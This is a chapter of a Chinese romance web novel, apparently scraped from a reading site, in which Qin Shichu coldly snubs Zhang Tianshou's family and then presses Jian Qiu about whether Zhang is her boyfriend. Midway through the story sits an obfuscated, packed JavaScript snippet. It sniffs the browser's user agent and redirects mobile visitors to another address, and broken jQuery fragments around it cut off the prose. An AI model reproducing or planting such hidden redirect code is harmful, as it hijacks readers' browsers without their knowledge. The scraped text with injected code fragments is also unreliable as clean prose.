张添寿的姑姑见到嫂子发愣,赶紧碰了下她。张妈妈回过神来,堆起笑脸道:“简先生,你好,我是添寿的妈妈。”
秦时初看了眼张添寿,这才把目光落在张妈妈身上,冷淡地说了句:“你好。”
张妈妈和张姑姑心中都是咯噔一下,对方这态度,很明显是对她们家的傻小子不满意啊。张姑姑先反应过来,赶紧捅了捅侄子,示意他在秦时初面前好好表现表现。
两位长辈都以为,自家傻小子已经追到了人家姑娘,此时就是机缘巧合下的见家长环节。哪里料得到其实八字都没一撇,只是张添寿剃头挑子一头热罢了。更不知道,张添寿一直对人家的哥哥有很深的偏见,认为对方是个娶了老婆就抛弃妹妹的人渣。他不冒犯秦时初就不错了,怎么可能去他面前挣表现?
“唉,你这傻小子!”张姑姑见他不动,嗔怪地说了句。
眼看着就要冷场,还是容姨站了出来。容姨跟张家两位长辈一样,根本没搞清楚状况,也以为两人是小情侣。秦时初虽然是一家之主,但毕竟年轻,对于嫁娶之事不甚了解,这个时候自然需要他们这些年纪大的人来帮忙处理。
她笑着说道:“马上就要过年了,商场的人可真多啊,转了这一会儿,感觉头都是晕的,要不咱们换个地方说话?”
此时已经是午饭时间,换个地方,就可以顺理成章地两家人一起吃个饭。虽然双方还不熟,但有他们几个老家伙在,聊聊家常什么的,起码不至于冷场。
之后再互相留个电话,逢年过节聚一聚,送个礼什么的,等两个年轻人感情到位,就可以谈婚论嫁了。
张妈妈立刻接口:“简妈妈说得对,这附近有一家茶楼不错的,不如一起去吃个下午茶?”
容姨看了简秋一眼,解释:“我不是简妈妈,我是——”
“这位是我阿姨。”简秋说道。
张妈妈有点尴尬:“不好意思,不好意思,认错人了。”
简秋道:“阿姨跟我妈妈也差不多。”
张妈妈重重点头:“嗯!”
她显然会错意了,以为容姨的身份等同于自家傻儿子将来的丈母娘,殊不知那个冷口冷面男的年轻人才是儿子面临的最大障碍。
见“亲家母”如此和蔼,她激动地握住她的手:“听您的口音也是本地人,应该知道这附近的那家粤喜酒楼吧?他们的大堂经理是我的老姐妹,我现在就给她打电话,让她给我们安排一个包间。”
粤喜酒楼是羊城有名的老字号,有很多家分店,本地人特别爱光顾。
不过这种平民化的酒楼,档次确实有点委屈秦时初兄妹俩了。容姨转头看向秦时初,用眼神征求他的意见,希望他能顾一下大局,不要给张家长辈难堪。
容姨疼爱简秋,希望她能找个好人家,有个温柔体贴的丈夫。至于对方的家世,只要不是那种负债累累,嫁过去就要受苦的家庭,她都觉得没问题。不过秦时初出身豪门,如果有不同的看法,她也能理解。只是希望这种场合下,他能宽容一点,毕竟如果场面闹得不好看,简秋面子上也过不去。
她在秦家只是个厨娘,但之前跟简雯欣一样,深得秦夫人信任,算是看着秦时初长大的,她的意见,秦时初多数时候还是会考虑的。
没想到,秦时初像是完全没有接收到她的信号,硬邦邦地说道:“我公司还有点事,要赶过去,你们去吃吧。”
张妈妈正想打电话,闻言身子一僵。
场面冷了几秒钟,张姑姑站出来打圆场:“年轻人事业为重嘛,耽误不得。那……要不我们去?”
她征询地看向容姨。
容姨左右为难。看秦时初这架势,那是对张添寿相当不满意,连带着也不想给对方家长面子。这个家毕竟是秦时初做主的,她虽然想把场面圆过去,却也不能公然跟他唱反调。
就在这时,简秋捅了捅张添寿。
张添寿除了给自己母亲姑姑介绍秦时初的身份外,并没有说过话。他知道双方的家人都误会了他们的关系,但此时也不好明说,而且他私心里也不想明说,觉得由着他们误会就好,说不定误会着误会着,就变成真的了呢。
但此时简秋逼他表态,他没法再装傻了,只得道:“妈,姑姑,我们下午不是要去奶奶家吗?你们忘啦?”
他们当然没有去奶奶家的计划,但张妈妈和张姑姑一听这话,就知道简秋也是不愿意的,只好熄了这个念头。张妈妈拍了一下自己的额头:“对哦,我怎么忘了,那下次再约?”
容姨立马接住话头:“好好好,下次再约。”
秦时初俯身拿起放在容姨脚边的袋子,头也不回地朝外走去。容姨冲张家的人不好意思地笑了笑,张妈妈连忙摆手表示没关系,两家人随即分开。
回去的路上,秦时初一言不发。
容姨犹豫了好久,还是决定劝劝:“先生,俗话说,易得无价宝,难得有情郎,年轻人只要有上进心,家世什么的其实无所谓的。”
秦家的家世这么好,难道还担心简秋结婚后会挨穷吗?
秦时初面无表情地望着窗外,闻言冷笑一声:“你以为我是看不上姓张的家世?”
容姨“啊”了一声:“不是吗?”她猜测,“那……是因为身高?”
张添寿是典型的男方男人身高,也就175cm左右,确实有点配不上简秋。但简秋都不在意这个,秦时初也没必要在意吧?
秦时初没回答。
他不是看不上张添寿某一方面的条件,他是全方位地看不上张添寿。他自己不能跟简秋在一起,那简秋起码得找一个比他更优秀的人吧?不然让他情何以堪?
车厢里静了一会儿,容姨小声劝道:“只要小伙子对小姐好,其他的都可以慢慢来嘛。”
秦时初终于转过头来,他看了眼副驾驶座的容姨,最终把目光转到了后座的简秋身上,他说:“怎么?姓张的小子是小秋的男朋友吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122458|161157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
简秋从来没在他面前明确地说过,她跟张添寿在一起了。他不要猜测,不要什么理所当然,他就要简秋亲口跟他说。
就算要死心,他也要简秋亲手把那把刀子插在他的心脏上。
过了大概一个世纪,他终于听到简秋的声音。
“不是。”她说。
他已经做了最坏的打算,谁知结果居然比想象中好太多。他的脸色不由得松了下来。
谁知简秋紧跟着又来了一句:“还不是。”
还不是,也就是说,其实双方都有这个意思,只是还没正式确立关系罢了。
秦时初呼吸一滞,只觉得周围的氧气都被简秋抽走了。
从前简秋是那个担心花瓶摔碎的人,如今换成了秦时初。
简秋其实根本没打算跟张添寿在一起,但是既然要分开,何不决绝一点?让秦时初以为她和张添寿幸福地在一起,这样他的内疚就可以慢慢放下了。她一点也不想要他的内疚,每次一想到他对她这么好,都是基于内疚的心理,她甚至有种被侮辱的感觉。
她付出了那么深的感情,那么渴望得到他的回应,可是他对她的好全都是因为内疚。那她的感情算什么?
车厢里的气氛逐渐冰冻。原本是高高兴兴出门置办年货,谁知会变成这样。这个年说不定也不能好好过了。
容姨难受极了,驾驶座的吴叔趁着红绿灯给她使了个眼色,让她安心。
他自己就有个女儿,所以很懂秦时初的感受。虽然秦时初没比简秋大几岁,但从小就兄妹情深,而且双方又都没有了父母——秦渊那狗东西不配为人父,还不如没有,一直相依为命,无论哪一方有了恋人,另一方肯定都会不习惯,会下意识抗拒。
这得有个适应的过程,所以不能着急,慢慢就好了。
容姨原本满心焦虑,不过看吴叔那么镇定,也逐渐舒缓了下来。
回到别墅已经十二点半了。容姨道:“要不中午随便吃点,晚上咱们煮火锅?”
简秋笑着说道:“容姨你忘啦?我哥公司有事,他要赶过去的。”
秦时初:“……”
容姨疑惑地望着他们,难道那话不是为了拒绝跟张家人吃饭,才找的借口吗?
“嗯,我有急事,要赶去公司。”秦时初绷着脸说道。
“连随便吃点东西的时间都没有吗?”容姨信以为真,担忧地说道,“要不我去煮点面,几分钟就好,吃了再走吧。”
秦时初一点胃口都没有:“你们吃,我先去公司。”
吴叔连忙道:“那我也不吃了,我送先生去公司后再吃。”
“不用。”秦时初道,“我自己开车过去就是了,你跟他们一起吃饭吧。”
等他离开,简秋也上楼换衣服,容姨悄悄问吴叔:“先生怎么啦?”
吴叔说:“这还看不出来?先生不让小姐跟张家人吃饭,小姐不高兴了,也不让他吃饭。唉,都是小孩子脾气。”